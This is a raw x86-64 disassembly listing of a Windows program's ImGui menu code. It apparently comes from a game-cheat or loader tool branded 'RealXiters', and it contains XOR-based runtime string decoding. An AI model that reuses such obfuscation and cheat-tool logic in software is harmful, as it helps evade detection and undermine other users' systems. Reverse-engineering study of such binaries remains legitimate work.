movss xmm0, dword [0x1401efeb0]
movss dword [rbp + 0x640], xmm0
movss xmm0, dword [rax + 0x18]
addss xmm0, dword [0x140174168]
movss dword [rbp + 0x644], xmm1
movss xmm1, dword [rax + 0x1c]
addss xmm1, dword [0x14017416c]
movss dword [rbp + 0x480], xmm0
movss dword [rbp + 0x484], xmm1
mov rax, qword [rcx + 0x3ee0]
lea rcx, [rbp + 0x638]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x1c]
addss xmm0, dword [0x140174130]
addss xmm1, dword [0x140174134]
movss dword [rbp + 0x488], xmm0
movss dword [rbp + 0x48c], xmm1
call fcn.140004090
mov rdx, qword [0x1401ba278]
lea r9, [rbp + 0x480]
mov dword [rsp + 0x30], eax
lea r8, [rbp + 0x488]
lea rax, [rbp + 0x470]
mov rcx, r10
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x478]
mov qword [rsp + 0x20], rax
call fcn.140025f30
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005a521
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401efe7c]
lea r11, [0x1401b92c0]
movss xmm0, dword [0x1401efe78]
lea rcx, [rbp + 0x648]
mov r10, qword [0x1401ba210]
mov rbx, r11
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov rdi, rax
movss dword [rbp + 0x64c], xmm1
movss xmm1, dword [0x1401efe84]
mulss xmm1, dword [r10 + 0x37e0]
cmova rbx, qword [0x1401b92c0]
movss dword [rbp + 0x648], xmm0
movss xmm0, dword [0x1401efe80]
movss dword [rbp + 0x654], xmm1
movss dword [rbp + 0x650], xmm0
call fcn.140004090
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov rcx, r11
mov r8, qword [r10 + 0x3c28]
mov esi, eax
cmova rcx, qword [0x1401b92c0]
movss xmm0, dword [r10 + 0x3c30]
movss xmm8, dword [0x1401741fc]
test rcx, rcx
jne 0x14005a5ef
movss xmm7, dword [0x140174060]
jmp 0x14005a64c
mov qword [rsp + 0x30], r13
lea rdx, [rbp + 0x200]
mov qword [rsp + 0x28], rcx
movaps xmm3, xmm8
mov rcx, r8
movss dword [rsp + 0x20], xmm12
movaps xmm2, xmm0
call fcn.14002c0b0
movss xmm0, dword [rbp + 0x200]
movss xmm7, dword [0x140174060]
mov r10, qword [0x1401ba210]
addss xmm0, xmm7
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x200], xmm0
movss xmm0, dword [rbp + 0x204]
mov rax, qword [r10 + 0x3ee0]
lea rdx, [rbp + 0x490]
mulss xmm0, xmm9
mov r9, rbx
mov r8d, esi
mov rcx, rdi
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm1, dword [rax + 0x1c]
subss xmm2, xmm13
subss xmm2, xmm0
movss xmm0, dword [rax + 0x18]
addss xmm0, dword [0x140174104]
addss xmm2, xmm1
movss dword [rbp + 0x490], xmm0
movss dword [rbp + 0x494], xmm2
call fcn.140025e30
mov eax, dword [0x1401df928]
test eax, eax
jne 0x14005a6be
call fcn.140055180
mov eax, dword [0x1401df928]
cmp eax, 1
jne 0x140064080
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov edx, r12d
lea rcx, [rbp + 0x730]
mov rbx, rax
call fcn.140067c30
cmp qword [rbp + 0x748], 0xf
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x750]
cmova rdx, qword [rbp + 0x730]
call fcn.140042a00
mov rdx, qword [rbp + 0x748]
cmp rdx, 0xf
jbe 0x14005a745
mov rcx, qword [rbp + 0x730]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a740
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400643e9
call fcn.140133024
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x740], r13
mov qword [rbp + 0x748], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x730], r13b
mov qword [rbp + 0x2c0], r13
call fcn.140132cd8
movups xmm0, xmmword [str.Enjoying_RealXiters]
mov qword [rbp + 0x2b8], rax
lea rdx, [rbp + 0x10a8]
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_send
mov qword [rbp + 0x2d0], Ordinal_33
movups xmmword [rax], xmm0
movzx ecx, word [0x140172988]
mov word [rax + 0x10], cx
xorps xmm0, xmm0
movzx ecx, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], r13b
movups xmmword [rbp + 0x10a8], xmm0
movups xmmword [rbp + 0x10b8], xmm0
movups xmmword [rbp + 0x10c8], xmm0
call fcn.140048590
cmp qword [rbp + 0x2d0], 0xf
lea rax, [rbp + 0x2b8]
xorps xmm0, xmm0
cmova rax, qword [rbp + 0x2b8]
cmp byte [0x140173603], r13b
movups xmmword [rbp + 0xd50], xmm0
mov qword [rbp + 0xd50], rax
lea rax, str.https:__i.gifer.com_3Oikk.gif
movups xmmword [rbp + 0xd60], xmm0
mov qword [rbp + 0xd60], rbx
movups xmmword [rbp + 0xd70], xmm0
mov qword [rbp + 0xd70], rax
mov eax, dword [0x140173600]
movups xmmword [rbp + 0xd80], xmm0
mov dword [rbp + 0x13f], eax
movups xmmword [rbp + 0xd90], xmm0
movups xmmword [rbp + 0xda0], xmm0
movups xmmword [rbp + 0xdb0], xmm0
movsd xmm0, qword [0x1401735f8]
movsd qword [rbp + 0x137], xmm0
je 0x14005a9c4
mov r8d, r13d
cmp r15d, 2
jl 0x14005a980
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401735f8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x137], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x13b]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x13b], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x137]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005a990
lea rax, [rbp + 0x137]
mov qword [rbp + 0xd78], rax
lea rcx, [0x1401bb2f0]
lea rax, str.https:__i.gifer.com_VhdL.gif
mov qword [rbp + 0xd80], rax
lea rax, str.Developer_:_SENPAI
mov qword [rbp + 0xd88], rax
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140064406
cmp dword [0x1401bb33c], 0x7fffffff
je 0x1400643f0
mov r8d, dword [reloc.WS2_32.dll_accept]
lea rcx, [0x1401db928]
lea eax, [r8 + 1]
mov dword [reloc.WS2_32.dll_accept], eax
lea rax, [rbp + 0xd50]
mov qword [rsp + 0x20], rax
call fcn.14004cd70
mov qword [0x1401db920], rax
lea rcx, [0x1401bb2f0]
mov eax, 1
xchg byte [0x1401ba286], al
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rcx, qword [0x1401db7e0]
test rcx, rcx
je 0x14005aa71
add rcx, 0x58
call qword [sym.imp.MSVCP140.dll__Cnd_broadcast]
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005aa9b
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401eff4c]
mov r10, rax
mov rax, qword [0x1401ba210]
movss xmm0, dword [0x1401eff48]
movss dword [rbp + 0x65c], xmm1
movss xmm1, dword [0x1401eff54]
mov rcx, qword [rax + 0x3ee0]
mulss xmm1, dword [rax + 0x37e0]
movss dword [rbp + 0x658], xmm0
movss xmm2, dword [rcx + 0x24c]
subss xmm2, dword [rcx + 0x1c]
movss xmm0, dword [0x1401eff50]
movss dword [rbp + 0x660], xmm0
movss xmm0, dword [rcx + 0x18]
movss dword [rbp + 0x664], xmm1
addss xmm0, xmm6
movss xmm1, dword [rcx + 0x1c]
lea rcx, [rbp + 0x658]
addss xmm1, xmm2
movss dword [rbp + 0x498], xmm0
movss dword [rbp + 0x49c], xmm1
mov rax, qword [rax + 0x3ee0]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x1c]
addss xmm0, xmm6
addss xmm1, xmm10
movss dword [rbp + 0x4a0], xmm0
movss dword [rbp + 0x4a4], xmm1
call fcn.140004090
mov r9d, eax
movss dword [rsp + 0x20], xmm14
lea rdx, [rbp + 0x4a0]
mov rcx, r10
lea r8, [rbp + 0x498]
call fcn.1400251f0
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005abbb
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401eff4c]
mov r10, rax
mov rax, qword [0x1401ba210]
movss xmm0, dword [0x1401eff48]
movss dword [rbp + 0x66c], xmm1
movss xmm1, dword [0x1401eff54]
mulss xmm1, dword [rax + 0x37e0]
mov rcx, qword [rax + 0x3ee0]
movss dword [rbp + 0x668], xmm0
movss xmm0, dword [0x1401eff50]
movss dword [rbp + 0x674], xmm1
movss xmm1, dword [rcx + 0x1c]
movss dword [rbp + 0x670], xmm0
addss xmm1, xmm6
movss xmm0, dword [rcx + 0x18]
lea rcx, [rbp + 0x668]
addss xmm0, dword [0x140174178]
movss dword [rbp + 0x360], xmm1
movss dword [rbp + 0x35c], xmm0
mov rax, qword [rax + 0x3ee0]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x1c]
addss xmm0, dword [0x1401740b0]
addss xmm1, xmm6
movss dword [rbp + 0x364], xmm0
movss dword [rbp + 0x368], xmm1
call fcn.140004090
mov r9d, eax
movss dword [rsp + 0x20], xmm14
lea rdx, [rbp + 0x364]
mov rcx, r10
lea r8, [rbp + 0x35c]
call fcn.1400251f0
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005acd5
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Foreground
mov edx, 1
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401eff4c]
lea rcx, [rbp + 0x678]
movss xmm0, dword [0x1401eff48]
mov rbx, rax
mov rdi, qword [0x1401ba210]
movss dword [rbp + 0x67c], xmm1
movss xmm1, dword [0x1401eff54]
movss dword [rbp + 0x678], xmm0
mulss xmm1, dword [rdi + 0x37e0]
movss xmm0, dword [0x1401eff50]
movss dword [rbp + 0x680], xmm0
movss dword [rbp + 0x684], xmm1
call fcn.140004090
mov rcx, qword [rdi + 0x3ee0]
mov esi, eax
movss xmm0, dword [rcx + 0x18]
movss xmm1, dword [rcx + 0x1c]
addss xmm0, dword [0x140174154]
addss xmm1, dword [0x140174154]
movss dword [rbp + 0x36c], xmm0
movss dword [rbp + 0x370], xmm1
test eax, 0xff000000
je 0x14005ade9
movss xmm0, dword [0x1401740c8]
lea rdx, [rbp + 0x36c]
movss xmm2, dword [0x140174148]
movaps xmm3, xmm10
mov dword [rsp + 0x28], 0x63
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024850
mov r8d, dword [rbx + 0x78]
mov r9d, esi
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
movss dword [rsp + 0x28], xmm11
mov dword [rsp + 0x20], 1
call fcn.140022e10
mov dword [rbx + 0x78], r13d
mov rdi, qword [0x1401ba210]
cmp dword [rdi + 0x48b0], r13d
jg 0x14005ae0c
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401effbc]
lea rcx, [rbp + 0x628]
movss xmm0, dword [0x1401effb8]
mov r10, rax
mov r8, qword [0x1401ba210]
movss dword [rbp + 0x62c], xmm1
movss xmm1, dword [0x1401effc4]
movss dword [rbp + 0x628], xmm0
mulss xmm1, dword [r8 + 0x37e0]
movss xmm0, dword [0x1401effc0]
movss dword [rbp + 0x630], xmm0
movss dword [rbp + 0x634], xmm1
call fcn.140004090
mov rdx, qword [r8 + 0x3ee0]
mov r9d, eax
movss xmm3, dword [rdx + 0x24c]
movss xmm0, dword [rdx + 0x18]
movss xmm2, dword [rdx + 0x248]
subss xmm2, xmm0
subss xmm3, dword [rdx + 0x1c]
cmp qword [rdx + 0x1a0], r13
jne 0x14005aebd
cmp qword [r8 + 0x4b28], r13
je 0x14005aec9
movss xmm2, dword [rdx + 0x218]
subss xmm2, xmm0
movss xmm1, dword [rdx + 0x1c]
addss xmm0, xmm2
addss xmm1, xmm3
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp + 0x37c]
mov rcx, r10
movss dword [rbp + 0x374], xmm0
movss dword [rbp + 0x378], xmm1
mov rax, qword [r8 + 0x3ee0]
lea r8, [rbp + 0x374]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
movss xmm3, dword [rax + 0x24c]
addss xmm0, xmm10
subss xmm3, xmm1
movss dword [rbp + 0x37c], xmm0
movss xmm0, dword [0x1401740dc]
subss xmm3, xmm15
movss dword [rsp + 0x20], xmm0
addss xmm3, xmm1
movss dword [rbp + 0x380], xmm3
call fcn.140025460
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005af77
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401eff4c]
lea rcx, [rbp + 0x688]
movss xmm0, dword [0x1401eff48]
mov r10, rax
mov r8, qword [0x1401ba210]
movss dword [rbp + 0x68c], xmm1
movss xmm1, dword [0x1401eff54]
movss dword [rbp + 0x688], xmm0
mulss xmm1, dword [r8 + 0x37e0]
movss xmm0, dword [0x1401eff50]
movss dword [rbp + 0x690], xmm0
movss dword [rbp + 0x694], xmm1
call fcn.140004090
mov rdx, qword [r8 + 0x3ee0]
mov r9d, eax
movss xmm3, dword [rdx + 0x24c]
subss xmm3, dword [rdx + 0x1c]
movss xmm0, dword [rdx + 0x18]
movss xmm2, dword [rdx + 0x248]
subss xmm2, xmm0
subss xmm3, xmm15
cmp qword [rdx + 0x1a0], r13
jne 0x14005b02d
cmp qword [r8 + 0x4b28], r13
je 0x14005b039
movss xmm2, dword [rdx + 0x218]
subss xmm2, xmm0
movss xmm1, dword [rdx + 0x1c]
addss xmm0, xmm2
addss xmm1, xmm3
movss dword [rsp + 0x20], xmm14
lea rdx, [rbp + 0x430]
mov rcx, r10
movss dword [rbp + 0x460], xmm0
movss dword [rbp + 0x464], xmm1
mov rax, qword [r8 + 0x3ee0]
lea r8, [rbp + 0x460]
movss xmm1, dword [rax + 0x1c]
movss xmm3, dword [rax + 0x24c]
movss xmm0, dword [rax + 0x18]
subss xmm3, xmm1
addss xmm0, xmm10
subss xmm3, xmm15
movss dword [rbp + 0x430], xmm0
addss xmm3, xmm1
movss dword [rbp + 0x434], xmm3
call fcn.1400251f0
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005b0d8
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401efe7c]
lea r11, [0x1401b92c0]
movss xmm0, dword [0x1401efe78]
lea rcx, [rbp + 0x698]
mov r10, qword [0x1401ba210]
mov rbx, r11
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov rdi, rax
movss dword [rbp + 0x69c], xmm1
movss xmm1, dword [0x1401efe84]
mulss xmm1, dword [r10 + 0x37e0]
cmova rbx, qword [0x1401b92c0]
movss dword [rbp + 0x698], xmm0
movss xmm0, dword [0x1401efe80]
movss dword [rbp + 0x6a4], xmm1
movss dword [rbp + 0x6a0], xmm0
call fcn.140004090
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov rcx, r11
mov r8, qword [r10 + 0x3c28]
mov esi, eax
cmova rcx, qword [0x1401b92c0]
movss xmm0, dword [r10 + 0x3c30]
test rcx, rcx
je 0x14005b1e8
mov qword [rsp + 0x30], r13
lea rdx, [rbp + 0x208]
mov qword [rsp + 0x28], rcx
movaps xmm3, xmm8
mov rcx, r8
movss dword [rsp + 0x20], xmm12
movaps xmm2, xmm0
call fcn.14002c0b0
movss xmm0, dword [rbp + 0x208]
mov r10, qword [0x1401ba210]
addss xmm0, xmm7
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x208], xmm0
movss xmm0, dword [rbp + 0x20c]
mov rax, qword [r10 + 0x3ee0]
lea rdx, [rbp + 0x428]
mulss xmm0, xmm9
mov r9, rbx
mov r8d, esi
mov rcx, rdi
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm1, dword [rax + 0x1c]
subss xmm2, xmm13
subss xmm2, xmm0
movss xmm0, dword [rax + 0x18]
addss xmm0, dword [0x140174104]
addss xmm1, xmm2
movss dword [rbp + 0x428], xmm0
movss dword [rbp + 0x42c], xmm1
call fcn.140025e30
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
addss xmm1, dword [0x14017413c]
addss xmm0, dword [0x1401741a0]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov byte [rax + 0x139], 1
call fcn.1400169e0
cmp dword [0x1401efdd4], r13d
lea r8, [rbp + 0x420]
lea rdx, [0x140164624]
mov dword [rbp + 0x420], 0x425c0000
sete cl
mov dword [rbp + 0x424], 0x425c0000
call fcn.140033c80
test al, al
je 0x14005b2e4
mov eax, r13d
mov dword [0x1401efdd4], eax
jmp 0x14005b2ea
mov eax, dword [0x1401efdd4]
cmp eax, 1
mov dword [rbp + 0x418], 0x425c0000
lea r8, [rbp + 0x418]
mov dword [rbp + 0x41c], 0x425c0000
sete cl
lea rdx, [0x140164648]
call fcn.140033c80
mov esi, 1
test al, al
je 0x14005b32a
mov eax, esi
mov dword [0x1401efdd4], eax
jmp 0x14005b330
mov eax, dword [0x1401efdd4]
cmp eax, 2
mov dword [rbp + 0x410], 0x425c0000
lea r8, [rbp + 0x410]
mov dword [rbp + 0x414], 0x425c0000
sete cl
lea rdx, [0x140164630]
call fcn.140033c80
test al, al
je 0x14005b36e
mov eax, 2
mov dword [0x1401efdd4], eax
jmp 0x14005b374
mov eax, dword [0x1401efdd4]
cmp eax, 3
mov dword [rbp + 0x408], 0x425c0000
lea r8, [rbp + 0x408]
mov dword [rbp + 0x40c], 0x425c0000
sete cl
lea rdx, [0x140164640]
call fcn.140033c80
test al, al
je 0x14005b3af
mov dword [0x1401efdd4], 3
call fcn.140016b30
mov eax, dword [0x1401efdf4]
mov edi, dword [0x1401efdd4]
cmp edi, eax
jne 0x14005b3ca
movaps xmm6, xmm14
jmp 0x14005b3ce
movaps xmm6, xmm12
mov rbx, qword [0x1401ba210]
test rbx, rbx
jne 0x14005b407
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x1401efdf4]
mov rbx, qword [0x1401ba210]
mov edi, dword [0x1401efdd4]
movss xmm8, dword [rbx + 0x18]
movaps xmm0, xmm8
mulss xmm0, dword [0x1401740a0]
mulss xmm0, xmm6
addss xmm0, dword [0x1401efe24]
comiss xmm10, xmm0
jbe 0x14005b431
movaps xmm6, xmm10
jmp 0x14005b439
movaps xmm6, xmm14
minss xmm6, xmm0
movss dword [0x1401efe24], xmm6
cmp edi, eax
jne 0x14005b44b
movaps xmm7, xmm14
jmp 0x14005b44f
movaps xmm7, xmm12
movss xmm0, dword [0x1401741d4]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, xmm8
mulss xmm0, xmm7
addss xmm0, dword [0x1401f04e4]
comiss xmm10, xmm0
jbe 0x14005b479
movaps xmm1, xmm10
jmp 0x14005b481
movaps xmm1, xmm14
minss xmm1, xmm0
ucomiss xmm6, xmm10
movss dword [0x1401f04e4], xmm1
jp 0x14005b49f
jne 0x14005b49f
ucomiss xmm1, xmm10
jp 0x14005b49f
jne 0x14005b49f
mov dword [0x1401efdf4], edi
movss xmm0, dword [rbx + 0x37e0]
lea rcx, [rbx + 0x4838]
mulss xmm6, dword [rbx + 0x37e0]
lea rdx, [rbp + 0x8c0]
mov dword [rbp + 0x8c0], r13d
movss dword [rbp + 0x8c4], xmm0
call fcn.14001f850
movss dword [rbx + 0x37e0], xmm6
lea rdx, [rbp + 0x3e0]
mov rcx, qword [0x1401ba210]
mov dword [rbp + 0x3e0], 0x442c8000
mov dword [rbp + 0x3e4], 0x41200000
mov rax, qword [rcx + 0x3ee0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
addss xmm1, dword [0x140174188]
addss xmm0, dword [0x140174100]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov byte [rax + 0x139], 1
mov rax, qword [rcx + 0x3ee0]
mov ecx, reloc.WS2_32.dll_sendto
mov byte [rax + 0xb0], 1
call fcn.140034d40
test al, al
jne 0x140064412
mov eax, dword [0x1401efdf4]
test eax, eax
jne 0x14005dc60
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
movss xmm7, dword [0x14017412c]
mov rax, qword [rcx + 0x3ee0]
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x248]
subss xmm1, xmm0
subss xmm2, xmm7
subss xmm2, xmm15
cmp qword [rax + 0x1a0], r13
jne 0x14005b5d0
cmp qword [rcx + 0x4b28], r13
je 0x14005b5dc
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x382c]
lea rdx, [rbp + 0x400]
movzx ecx, word [0x140173774]
mov eax, dword [str.ANI_N_]
movss xmm8, dword [0x140174160]
mov dword [rbp - 0x42], eax
movzx eax, byte [0x140173776]
xor byte [rbp - 0x41], 0x39
xor al, 0x3e
xor byte [rbp - 0x40], 0x3a
xor byte [rbp - 0x3f], 0x3b
mov word [rbp - 0x3e], cx
xor cl, 0x3c
xor byte [rbp - 0x3d], 0x3d
mulss xmm1, xmm9
mov byte [rbp - 0x3e], cl
lea rcx, [rbp - 0x42]
mulss xmm0, xmm9
mov byte [rbp - 0x42], 0x45
movss dword [rbp + 0x404], xmm2
mov byte [rbp - 0x3c], al
subss xmm1, xmm0
subss xmm1, xmm8
movss dword [rbp + 0x400], xmm1
call fcn.14000c490
mov eax, dword [0x140173984]
movsd xmm0, qword [str.yPWYSIM]
mov dword [rbp - 0x66], eax
movzx eax, word [0x140173988]
xor byte [rbp - 0x65], 0x39
xor byte [rbp - 0x64], 0x3a
xor byte [rbp - 0x63], 0x3b
mov word [rbp - 0x62], ax
xor al, 0x3c
xor byte [rbp - 0x61], 0x3d
cmp byte [0x140173ee1], r13b
mov byte [rbp - 0x62], al
lea rax, [rbp - 0x66]
mov qword [rbp + 0x840], rax
movzx eax, word [0x140173ee0]
mov word [rbp - 0x68], ax
mov byte [rbp - 0x66], 0x76
movsd qword [rbp - 0x70], xmm0
je 0x14005b6db
xor byte [rbp - 0x6f], 0x39
xor byte [rbp - 0x6e], 0x3a
xor byte [rbp - 0x6d], 0x3b
xor byte [rbp - 0x6c], 0x3c
xor byte [rbp - 0x6b], 0x3d
xor byte [rbp - 0x6a], 0x3e
xor byte [rbp - 0x69], 0x3f
xor byte [rbp - 0x68], 0x40
xor byte [rbp - 0x67], 0x41
mov byte [rbp - 0x70], 0x41
mov dword [rsp + 0x28], r13d
lea r9, [rbp + 0x840]
lea rdx, [0x1401efdf0]
mov dword [rsp + 0x20], esi
lea rcx, [rbp - 0x70]
call fcn.140037cc0
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
cmp byte [rcx + 0xb3], r13b
jne 0x14005b72b
mov eax, dword [rcx + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
movss xmm1, dword [rcx + 0x18]
movss xmm0, dword [rcx + 0x248]
subss xmm0, xmm1
cmp qword [rcx + 0x1a0], r13
jne 0x14005b755
cmp qword [rax + 0x4b28], r13
je 0x14005b761
movss xmm0, dword [rcx + 0x218]
subss xmm0, xmm1
mov r8d, r13d
subss xmm0, dword [rax + 0x37e8]
movzx eax, word [0x140173e48]
mov word [rbp + 0x29f], ax
movzx eax, byte [0x140173e4a]
mov byte [rbp + 0x2a1], al
mov dword [rbp + 0xfc], 0x420c0000
addss xmm0, xmm11
movss dword [rbp + 0xf8], xmm0
movups xmm0, xmmword [0x140173e38]
movups xmmword [rbp + 0x28f], xmm0
cmp r15d, 2
jl 0x14005b8ff
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x293]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
